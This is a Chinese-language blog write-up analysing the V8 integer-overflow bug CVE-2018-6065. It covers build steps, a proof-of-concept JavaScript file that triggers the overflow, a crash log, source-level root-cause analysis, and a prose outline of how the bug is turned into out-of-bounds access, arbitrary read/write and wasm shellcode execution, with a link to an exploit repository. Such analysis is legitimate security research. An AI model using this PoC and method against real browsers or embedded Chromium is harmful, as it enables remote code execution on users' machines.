前言

由于一些依赖Chromium的软件未开启沙箱选项也没同步更新代码,导致这个老洞被利用,我尝试在Linux上分析调试了这个漏洞。

准备工作与编译

v8的漏洞调试环境搭建不少文章说过了,这里略过,我这里使用的环境是Ubuntu18.04 + pwndbg

通过受影响Chrome版本(64.0.3282.119)的 DEPS,可以找到对应的V8 commit: 0407506af3d9d7e2718be1d8759296165b218fcf ,这也是我接下来调试所使用的commit 。

大致的编译流程:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
git reset 0407506af3d9d7e2718be1d8759296165b218fcf  --hard
gclient sync -f

# build debug
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug

# build release
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release

过程中可能会报错:

1
../../third_party/llvm-build/Release+Asserts/bin/clang++: error while loading shared libraries: libtinfo.so.5: cannot open shared object file: No such file or directory

sudo apt install libncurses5 即可解决。

Root cause 分析

根据bug issue里面的说法:在初始化一个新的javascript对象时,分配内存大小的计算过程出现了整数溢出,使得分配的内存大小可能小于base object class的最小需要尺寸,进而造成内存破坏。

首先看poc:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
const f = eval(`(function f(i) {
    if (i == 0) {
        class Derived extends Object {
            constructor() {
                super();
                ${"this.a=1;".repeat(0x3fffe-8)}
            }
        }

        return Derived;
    }

    class DerivedN extends f(i-1) {
        constructor() {
            super();
            ${"this.a=1;".repeat(0x40000-8)}
        }
    }

    return DerivedN;
})`);

let a = new (f(0x7ff))();
//%DebugPrint(a);
//%SystemBreak();
console.log(a);

触发崩溃:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pwndbg> r  poc.js
Starting program: /home/af/v8/out.gn/x64.debug/d8 poc.js
ERROR: Could not find ELF base!
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff3f53700 (LWP 3065)]
[New Thread 0x7ffff3752700 (LWP 3066)]
[New Thread 0x7ffff2f51700 (LWP 3067)]


#
# Fatal error in ../../src/objects-inl.h, line 3180
# Debug check failed: 0 <= value (0 vs. -2).
#

==== C stack trace ===============================

    /home/af/v8/out.gn/x64.debug/./libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x1e) [0x7ffff7fbc32e]
    /home/af/v8/out.gn/x64.debug/./libv8_libplatform.so(+0x2f777) [0x7ffff7f62777]
    /home/af/v8/out.gn/x64.debug/./libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x1bd) [0x7ffff7fa576d]
    /home/af/v8/out.gn/x64.debug/./libv8_libbase.so(+0x291ef) [0x7ffff7fa51ef]
    /home/af/v8/out.gn/x64.debug/./libv8_libbase.so(V8_Dcheck(char const*, int, char const*)+0x32) [0x7ffff7fa57c2]
    /home/af/v8/out.gn/x64.debug/./libv8.so(v8::internal::Map::SetInObjectUnusedPropertyFields(int)+0x4ad) [0x7ffff69ba53d]
    /home/af/v8/out.gn/x64.debug/./libv8.so(v8::internal::Heap::AllocateMap(v8::internal::InstanceType, int, v8::internal::ElementsKind, int)+0x5ac) [0x7ffff70d896c]
    /home/af/v8/out.gn/x64.debug/./libv8.so(v8::internal::Factory::NewMap(v8::internal::InstanceType, int, v8::internal::ElementsKind, int)+0x5c) [0x7ffff705fcec]
    /home/af/v8/out.gn/x64.debug/./libv8.so(v8::internal::Map::RawCopy(v8::internal::Handle<v8::internal::Map>, int, int)+0x60) [0x7ffff7320ee0]
    /home/af/v8/out.gn/x64.debug/./libv8.so(v8::internal::Map::CopyInitialMap(v8::internal::Handle<v8::internal::Map>, int, int, int)+0x4c) [0x7ffff73217ac]
    /home/af/v8/out.gn/x64.debug/./libv8.so(v8::internal::JSFunction::GetDerivedMap(v8::internal::Isolate*, v8::internal::Handle<v8::internal::JSFunction>, v8::internal::Handle<v8::internal::JSReceiver>)+0x279) [0x7ffff72f0d49]
    /home/af/v8/out.gn/x64.debug/./libv8.so(v8::internal::JSObject::New(v8::internal::Handle<v8::internal::JSFunction>, v8::internal::Handle<v8::internal::JSReceiver>, v8::internal::Handle<v8::internal::AllocationSite>)+0x167) [0x7ffff72f0977]
    /home/af/v8/out.gn/x64.debug/./libv8.so(+0x1a21ea2) [0x7ffff759cea2]
    /home/af/v8/out.gn/x64.debug/./libv8.so(v8::internal::Runtime_NewObject(int, v8::internal::Object**, v8::internal::Isolate*)+0x107) [0x7ffff759ca97]
    [0x19b557384384]

Thread 1 "d8" received signal SIGILL, Illegal instruction.
v8::base::OS::Abort () at ../../src/base/platform/platform-posix.cc:346
346	    V8_IMMEDIATE_CRASH();

分析调用堆栈:

1
2
3
4
5
6
7
8
JSObject::New(...)
	-> JSFunction::GetDerivedMap(...)
		-> Map::RawCopy(Handle<Map> map, int instance_size, int inobject_properties)
            -> Factory::NewMap(InstanceType type, int instance_size,
                                ElementsKind elements_kind,
                                int inobject_properties)
            	-> Map::SetInObjectUnusedPropertyFields(int value) 
            		// value=inobject_properties  

找到poc crash 处对应的代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
void Map::SetInObjectUnusedPropertyFields(int value) {
  STATIC_ASSERT(JSObject::kFieldsAdded == JSObject::kHeaderSize / kPointerSize);
  if (!IsJSObjectMap()) {
    DCHECK_EQ(0, value);
    set_used_or_unused_instance_size_in_words(0);
    DCHECK_EQ(0, UnusedPropertyFields());
    return;
  }
  DCHECK_LE(0, value);  // poc crash here
 // [...]
}

value 的值是传入的inobject_properties,等于-2,没有通过检查导致crash。

poc.js中的函数f是一个递归函数,接受一个参数i,当i=0时返回class Derived,Derived继承自Object;当i>0时返回class DerivedN,DerivedN继承自f(i-1) 。简而言之,f(i)返回的class有一个继承链,这个链的长度由i来控制。

把视角切换到两个class的 constructor 中,二者都在super()之后重复初始化了很多次"this.a=1",假设这个重复次数为j。从bug issue中可以得知,溢出发生的地方是 JSFunction::CalculateInstanceSizeHelper中instance_size被赋值的时候:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
void JSFunction::CalculateInstanceSizeHelper(InstanceType instance_type,
                                             bool has_prototype_slot,
                                             int requested_embedder_fields,
                                             int requested_in_object_properties,
                                             int* instance_size,
                                             int* in_object_properties) {
  int header_size = JSObject::GetHeaderSize(instance_type, has_prototype_slot);
  DCHECK_LE(requested_embedder_fields,
            (JSObject::kMaxInstanceSize - header_size) >> kPointerSizeLog2);
  *instance_size =
      Min(header_size +
              ((requested_embedder_fields + requested_in_object_properties)
               << kPointerSizeLog2),
          JSObject::kMaxInstanceSize);
  *in_object_properties = ((*instance_size - header_size) >> kPointerSizeLog2) -
                          requested_embedder_fields;
}

接下来调试一下:

在objects.cc:13707处下断,第二次断下的时候可以观察到instance_size发生整数溢出:0x100000008的计算结果被赋给int类型的instance_size,instance_size被赋值为8,随后in_object_properties被赋值为-2,这与前面的堆栈分析现象相符。在调试中会发现requested_in_object_properties是可以通过i和j的值控制的,进而能控制instance_size的值。

*instance_size = 0x18 + (0 + 0x1ffffffe) « 3 = 0x100000008 // overflow!!

*in_object_properties = (8-0x18) » 3 = -2

image-20210424090309618

exploit分析

oob

手上有两个exp,一个是bugs issue里面附带的exploit.html,另一个是网上流传的在野利用脚本chrome.js。

二者的利用思路是一样的:让class Derived继承正则类RegExp,触发漏洞将instance_size的值溢出为8,使得JSRegExp只会分配0x8字节的内存,在JSRegExp的初始化完成之前分配一个JSArray,JSArray会分配到JSRegExp+0x8的位置让这两个结构部分重叠,JSRegExp在后续初始化data和source的时候会覆盖JSArray的elements和length字段,使得JSArray具备越界读写的能力,之后配合ArrayBuffer就可以完成任意地址读写。

1
2
3
4
5
6
7
8
9
		//       JSRegExp              JSArray
		// 0000: map
		// 0008: properties_or_hash    map
		// 0010: elements              properties_or_hash
		// 0018: data                  elements              <--- corrupt
		// 0020: source                length                <--- corrupt
		// 0028: flags
		// 0030: size
		// 0038: last_index

JSArray结构的破坏分成三个步骤:

  1. JSRegExp分配0x8个字节
  2. JSArray在JSRegExp的data和source初始化之前分配,且处于JSRegExp+0x8的位置
  3. JSRegExp初始化data和source,覆盖JSArray的elements和length字段

这个顺序是如何确保的呢?

先通过一个简单的脚本调试一下JSRegExp的构建过程:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

var cb = function() {
	print("[*] in cb ....");
	return 'c01db33f';
}

print("[*] start constructor....");
var a = new RegExp({
                    toString: cb
                }, 'g')

print("[*] over...."+ a);
%DebugPrint(a);
%SystemBreak(); 

在JSRegExp初始化的地方下断点,可以看到在调用JSRegExp::Initialize之前:JSRegExp已分配结构并初始化了部分数据结构,但是data和source还是undefined的状态;而js代码中第一个参数对应的source已经调用了cb函数返回了字符串c01db33f。

image-20210424173927400

执行完JSRegExp::Initialize,data和source字段也初始化完毕。

image-20210424174905499

没有在调试中确认的一个问题是JSRegExp的分配和cb二者的执行顺序,Runtime_RegExpInitializeAndCompile之前的调用因为没找到调试的方法没继续跟了,从观察的现象来说JSRegExp的分配总是先进行的。

下面是调试chrome.js中JSArray (g_array) 的length字段被覆盖的过程,也可以观察到JSRegExp和JSArray二者地址相差0x8个字节:

image-20210424181551298

image-20210424181610414

任意地址读写 & 执行shellcode

有了oob,剩下就是常规套路,使用oob把this.buffer的backing_store处写成this.page_buffer的地址,通过this.buffer读写this.page_buffer的指针即可进一步达成任意地址读写。

执行shellcode使用的是wasm的方法,不同版本的v8找rwx的偏移好像都不太一样,试了网上的几个都失败了,我在debug版本试了几次,最后还是找到了,然后就是拷贝shellcode到该区域执行就结束了。

image-20210424184712204

相关文件放在:https://github.com/b1tg/CVE-2018-6065-exploit

后记

有些细节是没覆盖到的,比如instance_size的控制,我简单调了一下应该是通过tDerivedNCount和tDerivedNDepth二者控制,因为chrome.js跑起来instance_size直接是对的,我就没进一步确认了, gc对exp的影响我也没有研究。

总的来说,分析和调试的过程还是很有趣的,被迫看了不少v8的源码,也不像开始那么抵触了。

参考链接